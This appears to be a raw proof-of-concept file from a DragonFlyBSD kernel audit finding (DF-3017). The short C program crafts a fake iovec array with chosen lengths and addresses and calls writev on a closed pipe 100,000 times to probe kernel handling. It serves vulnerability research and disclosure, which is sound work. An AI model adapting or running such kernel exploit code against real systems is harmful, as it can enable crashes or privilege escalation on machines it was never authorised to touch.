⬢ DragonFlyBSD Kernel Audit
DF-3017 / p3.c
← back to finding ↓ download raw
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/uio.h>
static void put64(void *p, size_t o, unsigned long v){memcpy((unsigned char*)p+o,&v,8);}
int main(void){
  unsigned char img[320]; memset(img,0,sizeof(img));
  put64(img,168,0x40000000UL);        /* si_ops as iov[10].len */
  put64(img,184,0x10000UL);
  put64(img,232,0x21UL);
  put64(img,32,0x40001000UL);         /* junk base */
  put64(img,40,0x0000010000000000UL); /* filler len */
  int pfd[2]; pipe(pfd); close(pfd[0]);
  int i; struct timespec a,b;
  clock_gettime(CLOCK_MONOTONIC,&a);
  for(i=0;i<100000;i++){
    errno=0;
    ssize_t r=writev(pfd[1],(struct iovec*)img,20);
    if(i<2 || r!=-1){printf("iter%d: r=%zd errno=%d (%s)\n",i,r,errno,strerror(errno));}
    if(r!=-1)break;
  }
  clock_gettime(CLOCK_MONOTONIC,&b);
  printf("100k EPIPE writevs in %ld ms\n",(b.tv_sec-a.tv_sec)*1000+(b.tv_nsec-a.tv_nsec)/1000000);
  return 0;
}